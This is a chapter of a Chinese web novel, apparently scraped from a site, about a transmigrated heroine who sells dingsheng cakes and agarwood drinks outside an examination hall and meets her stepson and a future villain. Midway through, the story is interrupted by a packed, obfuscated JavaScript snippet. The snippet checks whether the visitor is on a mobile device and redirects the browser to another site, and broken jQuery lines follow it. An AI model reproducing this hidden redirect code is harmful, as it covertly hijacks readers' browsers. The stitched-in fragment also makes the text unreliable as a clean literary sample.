趁粮铺伙计去装糕粉的空档，梁照儿在铺子里转了一圈，掌柜见她好奇便介绍道：“这是占城稻，从交趾那边引进的新品种，正是便宜的时候，娘子不如买些回去给家里人吃？”
占城稻的口感虽不如粳稻，但胜在便宜量大，普通家庭多以占城稻为主食。梁照儿微微一笑，婉拒道：“不要，谢谢。”
店主人尴尬地摸了摸鼻子，冲着伙计骂道：“好了没有？请你回来凡事还要三请四请的才肯做！”
伙计连声抱歉，左手拎着糯米粉，右手拎着梗米粉，肩上还扛着一小袋红曲粉，“对不住了客官，让您久等了，这都是仔细选出来的好米，您瞧瞧。”
说罢，他将米放在柜台上，豁开一个小口给梁照儿瞧。梁照儿伸手捻了一点在指尖揉搓，满意道：“品质倒是不错，就是不知你这称准不准，可有缺斤少两？”
“娘子尽可放心，若少一两，我这铺子便洗手不干，兑给娘子！”掌柜闻言立刻伸手保证道。
梁照儿从钱袋子里掏出三十六文钱给掌柜，掌柜的点了钱数又笑着说：“娘子形体纤纤，这米有些沉，只需再加五文钱，可命伙计送到贵府上去。”
“不用了，谢谢。”
梁照儿摆了摆手，随即拎着袋子一甩，在空中划出一道完美的抛物线后塞进篮子里。
自从曾经在理发店被推销着办了三千块钱的卡，被理发师附赠了一头狗啃的头发后，梁照儿已经练就出一身功夫，不管谁推销什么东西，她都能含笑点头，然后拒绝。
粮铺掌柜瞧见梁照儿拎着沉甸甸的篮子出去，半晌感慨道：“真乃奇女子也！”
梁照儿又去了糖行和果子铺买了其他做定胜糕所需的材料才打道回府。关大娘见她提着不少东西，连忙迎她进屋。
“上街也不喊我陪着，这么多东西也不怕背不回来。”关大娘小声责备道。
梁照儿扭了扭酸胀的右肩，无奈道：“大早上被吵醒了也睡不着，权当出门遛弯了。”
关大娘粗略估计了一下面前的原材料，塞了三十文钱到梁照儿手里，“估摸着这些够了。”
梁照儿仰着头故作高傲道：“多了，找您两文。”
“你这歪剌货也作弄到你大娘头上来了！”关大娘恨恨地拍了梁照儿一下，嗔怪道。
定胜糕①的传统做法是将粳米粉、糯米粉、红曲粉、白糖和少量清水拌匀涨发，刮平后再上笼旺火蒸熟。现代人进行了改良，做出来的定胜糕更加瓷实，且里头加了豆沙更甜上几分。
梁照儿先做了一碟梅花形状的，放进笼屉里大火蒸了十五分钟，再拿出来糕点表面呈现出淡淡的红色。
关大娘一见便觉得可爱的紧，梁照儿叫她试吃的时候都不敢使劲捏。
“总觉得还差些什么。”梁照儿衔了一块糕点塞进嘴里，细细品尝道。
关大娘不赞同道：“嗳，我觉着是不差了，加了馅料已经比寻常的甜上一些，若再加旁的只怕不美。”
梁照儿点了点头，“甜度倒是不必再调整了，”她瞥见了没用完的沉香熟水，舀了一瓢进混合好的糕粉里，又说，“不过少了些香气。”
卖糕点最重要的一个字就是香！后世那些面包房常用面包香氛将店铺熏得满堂糕点香，路过的人哪怕不想买也会使劲嗅两口。
果然，加了沉香汁子的糕点再从笼屉里拿出来的时候就带着丝丝清香。可惜在药铺买的沉香不过寻常成色，若是能寻到惠安系的沉香②，香味会更加纯净，更难得的是还带有奶韵。
关大娘赞道：“倒真像梅花仙子降世了。”
梁照儿预备将糕点与熟水结合做成按份卖的套餐——当然也可以单买，只不过要贵上几文钱。
便起名叫状元及第罢。
玉梳从前跟着郑木匠学过写字，抖着手替梁照儿写了几个字，又去羊巷定制了两张可以摊开的桌子和几把小板凳。
解试结束那日，梁照儿起了个大早，难得地穿上了原先崔老爷命人给她做的那身灰蓝色的齐胸襦裙，又梳了个小盘髻。
玉梳送她们到了门口，抓住梁照儿的袖子语重心长道：“再不许踹人了。”
梁照儿无奈地接过玉梳的手，“我又不是疯狗，还能见谁咬谁不成？”
关大娘驾着驴车，二人慢悠悠地到了试院门口。
试院门口是贫富差异最为显著的地方：富家老爷太太们在宝马香车上正襟危坐，车边还站着用人奴仆，等自家郎君出来。普通百姓则一手挎着草帽，另一手拿着汗巾子抹汗，不少人脚上穿的还是下地干活的草鞋，五个脚趾漏了三个在外面。
只一点是相通的，那就是望穿秋水的眼神和那颗望子成龙的心。
梁照儿在一边支起摊子，她掀开白布，用蒲扇扇去飞虫，“定胜糕，四文钱一块，十文钱三块，还送一碗沉香饮子！”
一旁的老伯有些好奇地望向食摊，梁照儿笑眯眯地说：“老伯，可要来一份？郎君在里头考试饿了三天，吃了我家的定胜糕，不仅能填饱肚子，还能连中双元、状元及第！”
“那……那就来三块吧，”老伯从怀里掏出十文钱放在案前，小心翼翼地指了指面前的糕点，“这糕点做的好看，像真花。”
关大娘忙替老伯抹了桌子，将一碟定胜糕端到他面前。那老伯坐在一边，低头望了糕点好几眼也不舍得吃，只小口喝着饮子。
在试院门口等的人太多，很快就有不少人聚集在摊前，关大娘边收钱边道：“前头有桌子，客官可坐下慢慢用。”
花顶马车上，一小姑娘打了帘子探头向外望了一眼，回身撒娇道：“阿娘，我瞧那边许多人正围着买定胜糕，不如叫拂柳去买些来尝尝。”
那妇人保养得宜，轻点了小姑娘鼻头一下，宠溺道：“平日里万千糕点在家摆臭了都不带看的，如今瞧着外头人吃就眼热了？”
小姑娘被说的有些害臊，连忙钻进妇人怀中，“取个好意头，定胜定胜，希望文曲星君保佑哥哥中举。”
“你有这份心思，阿娘又岂会驳了你的好意，”妇人摸了摸怀里毛茸茸的一颗头，又打了帘子吩咐下人说，“拂柳，照姑娘说的去买两份回来。”
拂柳领了命，微微福身，便朝着梁照儿的摊子走去。
梁照儿一看拂柳周身气度不凡，连忙擦了手问道：“姑娘要些什么？”
“来两份吧，我家主人觉着不错。”拂柳掩了口鼻，闷声说道。
梁照儿给拂柳装了六块定胜糕，又用竹筒装了香饮。她接过拂柳给的钱，抿着嘴笑道：“姑娘慢走。”
瞧着拂柳走远了，梁照儿才小声问关大娘，“大娘可识得那是谁家的马车。”
古代的马车可不是寻常升斗小民坐得起的，梁照儿瞧着那花顶马车的规格，心想马车的主人只怕也是个不小的官。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401516|168708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
关大娘眯着眼睛朝远处望了望，看清马车上挂着的灯笼，了然于胸道：“那是知州韩家的马车，他家大哥儿也是今秋下场考试。说起来韩大人可是个一心为民的好官，前头的知州收税收的厉害，家家户户都余不下钱粮，韩大人一上任就奏请朝廷取消了额外的税收。”
还没等梁照儿回话就听见试院里头出来一位官差，他将锣一敲，尖声喊道：“解试结束，考生离场！”
紧接着，门口便人头攒动起来，考生们个个面如菜色地从里头出来。
“在号舍里蹲了三天，人都馊了。”
“你那还有没有馒头，给我来两个。”
说着，几个少年闻见糕点香，便一头扎进了梁照儿的小摊上，又见意头好连要了好几份。在号舍里饿狠了，此刻别说区区三块定胜糕了，就是三十块也不在话下。
关大娘笑得眼睛都眯成一条缝，连连给他们拿糕点来，嘴里还念叨着：“诸位郎君慢慢吃，别噎着了。”
“掌柜，拿碗茶来喝！”一年轻人头也不抬地挥手示意。
话音还未落，关大娘就将茶壶提走了，生怕他们没噎着，噎着才好买香饮喝。
崔璋也同好友一齐出来了，日头正是盛时，他伸手挡住刺眼的阳光，就听得一阵熟悉的声音正在说：“真对不住了各位，茶壶已经见了底，没水喝了。郎君们若渴了，且看看摊上的香饮，是上好的沉香做的。”
他沿声望去，正瞧见梁照儿系着襻膊在摊前忙碌。崔璋还未动身，只见身旁的好友已然如同炮仗一般蹿了出去。
“今日能在此处遇见娘子，也算一宗巧事。”
梁照儿抬眼一看，面前说话之人正是那日在建隆寺遇见的书生。她半低着头笑盈盈道：“不算是巧事，还得感谢郎君那日在建隆寺门口告知我这消息。”
书生还未应答，就被阴沉着脸的崔璋给打断了，“谁准许你到外头抛头露面的？”
梁照儿转过头去，只露出侧只耳朵。她心中不忘刘氏的嘱托，淡淡道：“我近来耳背，听不清这位郎君在说什么。”
崔璋：“……”
书生也回过身，好奇道：“子圭兄，你二人是旧相识？”
崔璋一噎，清俊的脸上染上几丝绯色，半晌才说：“启旸，我…我与她……”
听见崔璋唤书生“启旸”，梁照儿才意识到原来那日在建隆寺门口遇见的书生居然就是原书后期的大反派蔡宣季。
书中只说蔡宣季是西湖镇人，旁的倒未怎么提及。又说蔡宣季与崔璋有在书院同床共学的情谊，后来崔璋落难，他也时常施以援手。只可惜二人入仕后政见不同，渐行渐远，最终竟闹到不死不休的地步。
不过人都是会变的。
梁照儿只能这样想，她其实也不太能将面前这个清秀文弱的书生和未来的大奸臣蔡宣季联系在一起。
“究竟是什么关系，说出来呀！”蔡宣季饶有兴致地看向崔璋。
半晌崔璋才嗫嚅着说：“……她是我娘，庶的。”
梁照儿拍了拍崔璋的肩膀，幽幽道：“从前打死也不肯认得，如今你认我却不认了！”
————
①定胜糕：糕面印有“状元及第”等纹样，寄托美好祈愿。
②惠安系沉香：惠安系涵盖越南、柬埔寨、老挝、缅甸、中国海南等地所产沉香。野生海南沉香通常带有奶韵和花香。